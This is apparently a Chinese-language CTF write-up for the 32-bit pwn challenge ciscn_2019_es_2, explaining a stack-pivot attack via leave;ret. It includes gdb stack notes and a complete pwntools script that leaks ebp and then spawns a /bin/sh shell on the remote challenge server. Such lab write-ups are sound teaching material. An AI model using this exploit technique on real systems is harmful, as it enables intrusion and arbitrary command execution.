ciscn_2019_es_2
zach0ry

题目

image-20250724170641293

image-20250724170654784

很明显的栈溢出漏洞,但是可操作空间太小,只能覆盖到ret,所以要用栈迁移

image-20250724170939205

有system函数,但是需要自己传参,可以把/bin/sh字符段放在栈上

有两次输入,第一次输入可以用来泄露ebp的地址

第二次要根据泄露地址去找加上偏移得到s的头部,在那里构造我们的后门函数,之后通过ret返回s头部执行这个后门函数。

先查看ebp距离s的实际距离(gdb动态调试查看)

image-20250724171540124

相距0xffffcf18 - 0xffffcee0 = 0x38

不能直接通过下面这种方式查看,因为现在的操作系统默认开启了ASLR,所以栈上的地址一直会变化

image-20250825160925706

接着构造我们的后门函数

image-20250724174105733

且因为跳转到s后还要执行,所以程序不能崩溃 ,如果s可以直接跳转到后门函数就可以直接把地址写在ret上

1
2
3
payload=b'aaaa'+p32(sys)+p32(main)+p32(s+16)+b"/bin/sh"
payload=payload.ljust(0x28,b"\x00")
payload+=p32(s)+p32(leave)

payload.ljust(0x28, b'\x00') 中必须使用 b'\x00' 因为printf会在接下来的数据中找符合%s的数据,如果没有”/x00”,他可能去读取继续往后读到栈上的数据,%s时字符串,printf读到不可打印的字符会引发错误

leave ret解释

leave

mov esp, ebp:把esp移动到ebp-0x38的位置(ebp-0x38)其实就是aaaa的位置

pop ebp:把aaaa这一块pop出去了

ret

pop eip:,把栈顶的system函数pop出去作为返回地址

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
#p=process("./ciscn_2019_es_2")
p=remote("node5.buuoj.cn",25671)
sys=0x08048400
main=0xdeadbeef
leave=0x080485FD

p.recvuntil(b"name?\n")
payload=b"a"*0x27+b"b"
p.send(payload)
p.recvuntil(b"b")
s=u32(p.recv(4))-0x38
print(hex(s))


payload=b'aaaa'+p32(sys)+p32(main)+p32(s+16)+b"/bin/sh"
payload=payload.ljust(0x28,b"\x00")
payload+=p32(s)+p32(leave)
p.sendline(payload)
p.interactive()

收获

栈空间识别

image-20250724182140887

1
2
3
偏移量  │ 寄存器/标识符     |    地址     |    内容         <-- 解释
-------+------------------------------------------
00:0000│ esp 0xffffced0 —▸ 0x80486ca ◂— dec eax /* 'Hello, %s\n' */

0xffffced0: ESP 寄存器当前指向的内存地址。

—▸ 0x80486ca: ESP 指向的内存地址里存储的值,它又是一个地址,指向了 0x80486ca

◂— dec eax /\* 'Hello, %s\n' \*/: 对 0x80486ca 这个地址的反汇编/注释,这里显示它是一条指令的起始,并且其附近有字符串 “Hello, %s\n”。

要找到存放内容是111111的位置,就是11111直接指向的位置0xffffcee0

esp与s的距离

一直疑惑不是相距0x28吗,为什么要看这个0x38,看了很多大佬的wp也没有说的,查了才知道还要考虑堆栈平衡:joy:

🧠 关键点在于:

1
char s[0x28];

这个数组虽然是 0x28 字节,但 它不是从 ebp - 0x28ebp,而是从 ebp - 0x2cebp - 4

也就是说,编译器会:

  • 为变量 s[0x28] 分配 0x28 字节;
  • 还会额外分配 对齐空间(padding),使整个栈帧是对齐的;
  • 所以,真正变量起始地址是 ebp - 0x2c,不是 ebp - 0x28

👉 在 32 位程序中,变量 char s[0x28] 通常从 ebp - 0x2c 开始,而不是 ebp - 0x28

  • 在 32 位程序里,esp 在建立栈帧时,常常是 为了给局部变量和返回地址对齐到 16 字节,因此会多分配几个字节;
  • 所以 sub esp, 0x2c 是非常常见的;
  • 即使变量只有 0x28 字节,编译器会额外多给 4 字节 padding,形成 0x2c。

image-20250724202718415

在这里也可以看到它开辟了不止0x28个空间,所以才要gdb调试看它实际的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
                 高地址 (栈底,向高地址增长)
^
|
+-----------------+-------------------+
| 函数参数 | |
+-----------------+-------------------+
| 返回地址 | | (调用 func() 后返回到这里的地址)
+-----------------+-------------------+
| 保存的旧 EBP | (OLD_SAVED_EBP) | <- (0x080485FD - leave; ret 处的 EBP 值)
+-----------------+-------------------+
| Padding | (通常是 4 字节) | <- (如果你说 s 从 ebp - 0x2c 开始,那么这部分是 ebp-0x2c 到 ebp-0x28 之间的填充)
+-----------------+-------------------+ <- **ebp - 0x28**
| | |
| | |
| | |
| | |
| | |
| char s[0x28] | |
| | |
| | |
| | |
| | |
| | |
| | |
+-----------------+-------------------+ <- **ebp - 0x2c** (数组 s 的起始地址)
| 其他局部变量 | |
| (如果有) | |
+-----------------+-------------------+
| ...... | |
+-----------------+-------------------+
| 当前 ESP | | <- (ESP 寄存器指向的地址)
+-----------------+-------------------+
|
v
低地址 (栈顶,向低地址增长)